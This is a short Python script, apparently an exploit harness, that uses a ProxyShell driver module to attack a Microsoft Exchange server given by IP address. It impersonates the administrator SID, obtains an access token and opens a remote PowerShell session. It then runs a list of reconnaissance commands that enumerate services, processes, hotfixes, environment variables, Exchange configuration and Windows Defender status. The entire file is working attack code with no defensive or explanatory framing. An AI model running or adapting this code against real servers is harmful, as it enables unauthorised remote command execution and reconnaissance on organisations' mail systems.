#!/usr/bin/env python3
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=15)
ps.get_fqdn(); print("fqdn:", getattr(ps,'fqdn',None))
ps.get_legacydn(); print("email:", getattr(ps,'email',None))
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    print("\n### CMD:", s)
    try:
        o, e = P.wsman_shell(s, port)
        for x in o: print("   OUT:", str(x)[:500])
        if e:
            for x in e: print("   ERR:", str(x)[:300])
    except Exception as ex:
        print("   EXC:", type(ex).__name__, str(ex)[:200])

for c in [
  '$PSVersionTable',
  '[System.Environment]::OSVersion',
  'Get-Service',
  'Get-Process',
  'Get-CimInstance Win32_Service',
  'Get-WmiObject Win32_Service',
  'Get-MpComputerStatus',
  'Get-HotFix',
  'Get-ChildItem Env:',
  'Get-ExchangeServer',
  'Get-ExchangeDiagnosticInfo -Process System',
  'Get-ExchangeDiagnosticInfo -Process Microsoft.Exchange.Directory.TopologyService',
  'Get-Service -Name WinDefend',
  'Get-Service -Name "*defender*"',
  'sc.exe query',
  'net start',
  'tasklist',
]:
    run(c)
